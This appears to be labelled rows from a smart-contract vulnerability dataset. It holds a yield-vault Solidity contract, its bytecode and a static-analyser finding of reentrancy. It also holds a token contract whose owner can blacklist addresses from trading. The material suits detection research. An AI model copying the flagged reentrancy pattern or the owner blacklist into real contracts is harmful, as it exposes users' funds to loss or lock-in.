controller = 0xcC8d36211374a08fC61d74ed2E48e22b922C9D7C;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
// 设置治理地址,必须验证原来治理地址的签名
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
// 设置目标token
function setToken(address _token) public {
require(msg.sender == governance, "!governance");
token = IERC20(_token);
}
// 设置控制器地址,必须验证治理地址的签名
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
function setEarnLowerlimit(uint256 _earnLowerlimit) public{
require(msg.sender == governance, "!governance");
earnLowerlimit = _earnLowerlimit;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
// 设置多少保险库允许被借
// 设置所需的最低限度,以保持低成本的小额取款
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max); // balance*min/max 保证在合约中一直有离散的代币供用户使用
}
// 抵押代币给Strategy合约进行理财,代币路径如下 vault->controller->strategy
function earn() public {
uint _bal = available(); // 获取最小需要转给机枪池进行获取收益的代币个数
token.safeTransfer(controller, _bal); // 转账给控制合约
Controller(controller).earn(address(token), _bal); // 抵押代币给Strategy合约进行理财
}
// 存款 可以追加存款
function deposit(uint amount) external {
// 从用户地址中进行扣款,所以需要先进行appove对用户账户中的资金进行授权
token.safeTransferFrom(msg.sender, address(this), amount);
// 增加该用户的存款总数
player_[msg.sender].stake = player_[msg.sender].stake.add(amount);
// 如果每股分红为0
if (global_[0].earnings_per_share != 0) {
player_[msg.sender].payout = player_[msg.sender].payout.add(
global_[0].earnings_per_share.mul(amount).sub(1).div(magnitude).add(1) // (((earnings_per_share*amount)-1)/magnitude)+1
);
}
// 增加全局已抵押的总量
global_[0].total_stake = global_[0].total_stake.add(amount);
// 如果当前池子合约中已经抵押的数量大于自动赚取收益的值时,自动将合约中的代币去第三方平台抵押
if (token.balanceOf(address(this)) > earnLowerlimit){
earn();
}
// 更新用户抵押时间
deposittime[msg.sender] = now;
}
// No rebalance implementation for lower fees and faster swaps
// 取款
function withdraw(uint amount) external {
claim(); // 首先获取当前未领取的收益
require(amount <= player_[msg.sender].stake, "!balance");
uint r = amount;
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) { // 如果vault合约中代币余额小于用户取款的余额,则需要去Strategy合约取款获得对应的代币
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw); // 取款
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) { // 策略器有可能会返回的代币变多,所以需要更新vault合约中的余额
r = b.add(_diff);
}
}
// 更新用户的已提取余额并且更新全局的每股收益
player_[msg.sender].payout = player_[msg.sender].payout.sub(
global_[0].earnings_per_share.mul(amount).div(magnitude)
);
// 更新全局存款量和用户存款量
player_[msg.sender].stake = player_[msg.sender].stake.sub(amount);
global_[0].total_stake = global_[0].total_stake.sub(amount);
// 转账给用户取款的代币
token.safeTransfer(msg.sender, r);
}
// Strategy.harvest 触发分红()
function make_profit(uint256 amount) public {
require(amount > 0, "not 0");
YFToken.safeTransferFrom(msg.sender, address(this), amount); // 挖矿收益存入当前合约(已扣除10%的手续费,90%的利润存进来)
global_[0].earnings_per_share = global_[0].earnings_per_share.add(
amount.mul(magnitude).div(global_[0].total_stake)
);
global_[0].total_out = global_[0].total_out.add(amount);
}
// 用户可领取的分红
function cal_out(address user) public view returns (uint256) {
uint256 _cal = global_[0].earnings_per_share.mul(player_[user].stake).div(magnitude);
if (_cal < player_[user].payout) {
return 0;
} else {
return _cal.sub(player_[user].payout);
}
}
// 某个用户在路上的分红(也就是分红还没有从挖矿合约领取.只能看到,无法领取,等harvest触发后就可以领取了)
function cal_out_pending(uint256 _pendingBalance,address user) public view returns (uint256) {
uint256 _earnings_per_share = global_[0].earnings_per_share.add(
_pendingBalance.mul(magnitude).div(global_[0].total_stake)
);
uint256 _cal = _earnings_per_share.mul(player_[user].stake).div(magnitude);
_cal = _cal.sub(cal_out(user));
if (_cal < player_[user].payout) {
return 0;
} else {
return _cal.sub(player_[user].payout);
}
}
// 用户领取分红
function claim() public {
uint256 out = cal_out(msg.sender);
player_[msg.sender].payout = global_[0].earnings_per_share.mul(player_[msg.sender].stake).div(magnitude);
player_[msg.sender].total_out = player_[msg.sender].total_out.add(out);
if (out > 0) {
uint256 _depositTime = now - deposittime[msg.sender];
if (_depositTime < 1 days){ // deposit in 24h
uint256 actually_out = _depositTime.mul(out).mul(1e18).div(1 days).div(1e18);
uint256 to_team = out.sub(actually_out);
YFToken.safeTransfer(Controller(controller).rewards(), to_team);
out = actually_out;
}
YFToken.safeTransfer(msg.sender, out);
}
}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063909d3f4c116100de578063d20a31d811610097578063da4745b311610071578063da4745b314610447578063f77c479114610464578063f88979451461046c578063fc0c546a146104745761018e565b8063d20a31d8146103fc578063d389800f14610419578063d7e8e85b146104215761018e565b8063909d3f4c1461036657806392eefe9b14610383578063ab033ea9146103a9578063ae000c8c146103cf578063b69ef8a8146103d7578063b6b55f25146103df5761018e565b806348a0d7541161014b57806360a9f4581161012557806360a9f458146103045780636ac5db191461033057806378ce591d146103385780638e087c781461035e5761018e565b806348a0d754146102da5780634e71d92d146102f45780635aa6e675146102fc5761018e565b8063144fa6d71461019357806317d7de7c146101bb5780632b68b65b146102385780632de752211461027c5780632e1a7d4d146102a057806345dc3dd8146102bd575b600080fd5b6101b9600480360360208110156101a957600080fd5b50356001600160a01b031661047c565b005b6101c36104eb565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101fd5781810151838201526020016101e5565b50505050905090810190601f16801561022a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61025e6004803603602081101561024e57600080fd5b50356001600160a01b0316610579565b60408051938452602084019290925282820152519081900360600190f35b61028461059a565b604080516001600160a01b039092168252519081900360200190f35b6101b9600480360360208110156102b657600080fd5b50356105a9565b6101b9600480360360208110156102d357600080fd5b50356108be565b6102e2610910565b60408051918252519081900360200190f35b6101b96109aa565b610284610b6c565b6102e26004803603604081101561031a57600080fd5b50803590602001356001600160a01b0316610b7b565b6102e2610caa565b6102e26004803603602081101561034e57600080fd5b50356001600160a01b0316610cb0565b6102e2610d70565b6101b96004803603602081101561037c57600080fd5b5035610d76565b6101b96004803603602081101561039957600080fd5b50356001600160a01b0316610dc8565b6101b9600480360360208110156103bf57600080fd5b50356001600160a01b0316610e37565b610284610ea6565b6102e2610ebe565b6101b9600480360360208110156103f557600080fd5b5035610fc3565b61025e6004803603602081101561041257600080fd5b50356111ae565b6101b96111cf565b6102e26004803603602081101561043757600080fd5b50356001600160a01b0316611270565b6101b96004803603602081101561045d57600080fd5b5035611282565b610284611396565b6102e26113a5565b6102846113ab565b6004546001600160a01b031633146104c9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b505050505081565b60066020526000908152604090208054600182015460029092015490919083565b6001546001600160a01b031681565b6105b16109aa565b33600090815260066020526040902054811115610600576040805162461bcd60e51b81526020600482015260086024820152672162616c616e636560c01b604482015290519081900360640190fd5b60008054604080516370a0823160e01b815230600482015290518493926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561064c57600080fd5b505afa158015610660573d6000803e3d6000fd5b505050506040513d602081101561067657600080fd5b50519050818110156107b1576000610694838363ffffffff6113ba16565b600554600080546040805163f3fef3a360e01b81526001600160a01b03928316600482015260248101869052905194955092169263f3fef3a392604480820193929182900301818387803b1580156106eb57600080fd5b505af11580156106ff573d6000803e3d6000fd5b505060008054604080516370a0823160e01b815230600482015290519294506001600160a01b0390911692506370a08231916024808301926020929190829003018186803b15801561075057600080fd5b505afa158015610764573d6000803e3d6000fd5b505050506040513d602081101561077a57600080fd5b505190506000610790828563ffffffff6113ba16565b9050828110156107ad576107aa848263ffffffff61140316565b94505b5050505b6000805260076020526000805160206118bc8339815191525461081e906107ff906b1d6329f1c35ca4bfabb9f56160281b906107f3908763ffffffff61145d16565b9063ffffffff6114b616565b336000908152600660205260409020600101549063ffffffff6113ba16565b336000908152600660205260409020600181019190915554610846908463ffffffff6113ba16565b3360009081526006602090815260408220929092558052600790526000805160206118dc83398151915254610881908463ffffffff6113ba16565b600080805260076020526000805160206118dc83398151915291909155546108b9906001600160a01b0316338463ffffffff6114f816565b505050565b6004546001600160a01b0316331461090b576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600255565b60025460008054604080516370a0823160e01b8152306004820152905192936109a593612710936107f3936001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561096d57600080fd5b505afa158015610981573d6000803e3d6000fd5b505050506040513d602081101561099757600080fd5b50519063ffffffff61145d16565b905090565b60006109b533610cb0565b336000908152600660209081526040822054918052600790526000805160206118bc83398151915254919250610a06916b1d6329f1c35ca4bfabb9f56160281b916107f3919063ffffffff61145d16565b336000908152600660205260409020600181019190915560020154610a31908263ffffffff61140316565b336000908152600660205260409020600201558015610b695733600090815260086020526040902054420362015180811015610b4a576000610a9a670de0b6b3a76400006107f3620151808183610a8e888a63ffffffff61145d16565b9063ffffffff61145d16565b90506000610aae848363ffffffff6113ba16565b9050610b46600560009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b158015610b0157600080fd5b505afa158015610b15573d6000803e3d6000fd5b505050506040513d6020811015610b2b57600080fd5b50516001546001600160a01b0316908363ffffffff6114f816565b5091505b600154610b67906001600160a01b0316338463ffffffff6114f816565b505b50565b6004546001600160a01b031681565b600080805260076020526000805160206118dc833981519152548190610be390610bbe906107f3876b1d6329f1c35ca4bfabb9f56160281b63ffffffff61145d16565b6000805260076020526000805160206118bc833981519152549063ffffffff61140316565b6001600160a01b03841660009081526006602052604081205491925090610c26906b1d6329f1c35ca4bfabb9f56160281b906107f390859063ffffffff61145d16565b9050610c41610c3485610cb0565b829063ffffffff6113ba16565b6001600160a01b038516600090815260066020526040902060010154909150811015610c7257600092505050610ca4565b6001600160a01b038416600090815260066020526040902060010154610c9f90829063ffffffff6113ba16565b925050505b92915050565b61271081565b6001600160a01b038116600090815260066020908152604082205482805260079091526000805160206118bc833981519152548291610d0a916b1d6329f1c35ca4bfabb9f56160281b916107f3919063ffffffff61145d16565b6001600160a01b038416600090815260066020526040902060010154909150811015610d3a576000915050610d6b565b6001600160a01b038316600090815260066020526040902060010154610d6790829063ffffffff6113ba16565b9150505b919050565b60035481565b6004546001600160a01b03163314610dc3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600355565b6004546001600160a01b03163314610e15576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b03163314610e84576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b7396f9632b25f874769969ff91219fccb6cedf26d281565b60055460008054604080516370a0823160e01b81526001600160a01b039283166004820152905192936109a5939216916370a0823191602480820192602092909190829003018186803b158015610f1457600080fd5b505afa158015610f28573d6000803e3d6000fd5b505050506040513d6020811015610f3e57600080fd5b5051600054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610f8b57600080fd5b505afa158015610f9f573d6000803e3d6000fd5b505050506040513d6020811015610fb557600080fd5b50519063ffffffff61140316565b600054610fe1906001600160a01b031633308463ffffffff61154a16565b33600090815260066020526040902054611001908263ffffffff61140316565b3360009081526006602090815260408220929092558052600790526000805160206118bc83398151915254156110cb576000805260076020526000805160206118bc833981519152546110b7906110989060019061108c906b1d6329f1c35ca4bfabb9f56160281b906107f3908490611080908963ffffffff61145d16565b9063ffffffff6113ba16565b9063ffffffff61140316565b336000908152600660205260409020600101549063ffffffff61140316565b336000908152600660205260409020600101555b6000805260076020526000805160206118dc833981519152546110f4908263ffffffff61140316565b6000808052600760209081526000805160206118dc833981519152929092556003549054604080516370a0823160e01b8152306004820152905192936001600160a01b03909216926370a0823192602480840193919291829003018186803b15801561115f57600080fd5b505afa158015611173573d6000803e3d6000fd5b505050506040513d602081101561118957600080fd5b50511115611199576111996111cf565b50336000908152600860205260409020429055565b60076020526000908152604090208054600182015460029092015490919083565b60006111d9610910565b6005546000549192506111ff916001600160a01b0390811691168363ffffffff6114f816565b600554600080546040805163b02bf4b960e01b81526001600160a01b039283166004820152602481018690529051919093169263b02bf4b992604480830193919282900301818387803b15801561125557600080fd5b505af1158015611269573d6000803e3d6000fd5b5050505050565b60086020526000908152604090205481565b600081116112bf576040805162461bcd60e51b815260206004820152600560248201526406e6f7420360dc1b604482015290519081900360640190fd5b6001546112dd906001600160a01b031633308463ffffffff61154a16565b6000805260076020526000805160206118dc8339815191525461131d90610bbe906107f3846b1d6329f1c35ca4bfabb9f56160281b63ffffffff61145d16565b6000805260076020526000805160206118bc833981519152557f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e054611368908263ffffffff61140316565b6000805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e05550565b6005546001600160a01b031681565b60025481565b6000546001600160a01b031681565b60006113fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115aa565b9392505050565b6000828201838110156113fc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261146c57506000610ca4565b8282028284828161147957fe5b04146113fc5760405162461bcd60e51b815260040180806020018281038252602181526020018061189b6021913960400191505060405180910390fd5b60006113fc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611641565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526108b99084906116a6565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526115a49085906116a6565b50505050565b600081848411156116395760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115fe5781810151838201526020016115e6565b50505050905090810190601f16801561162b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836116905760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156115fe5781810151838201526020016115e6565b50600083858161169c57fe5b0495945050505050565b6116b8826001600160a01b031661185e565b611709576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117475780518252601f199092019160209182019101611728565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146117a9576040519150601f19603f3d011682016040523d82523d6000602084013e6117ae565b606091505b509150915081611805576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156115a45780806020019051602081101561182157600080fd5b50516115a45760405162461bcd60e51b815260040180806020018281038252602a8152602001806118fc602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906118925750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e16d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158206f42be67f5036b28f71840a5f423ec23de9df1cbc73620c316c0d58f5c1d022a64736f6c634300050f0032 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,317 |
0x29C459609a58B89f7a70a0AFE2F0a8B2464532b9 | /**
*Submitted for verification at Etherscan.io on 2021-11-25
*/
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Otori is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
string private constant _name = "Otori-inu";
string private constant _symbol = "Otori-inu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612905565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061247f565b61042a565b60405161016d91906128ea565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612a67565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061242c565b61045c565b6040516101d591906128ea565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612392565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612adc565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612508565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b5061029960048036038101906102949190612392565b610752565b6040516102a69190612a67565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e8919061281c565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b6040516103139190612905565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061247f565b61095c565b60405161035091906128ea565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906124bf565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906123ec565b611080565b6040516103e49190612a67565b60405180910390f35b60606040518060400160405280600981526020017f4f746f72692d696e750000000000000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b6105258560405180606001604052806028815260200161319160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117629092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c1906129c7565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba906129c7565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f816117c6565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673f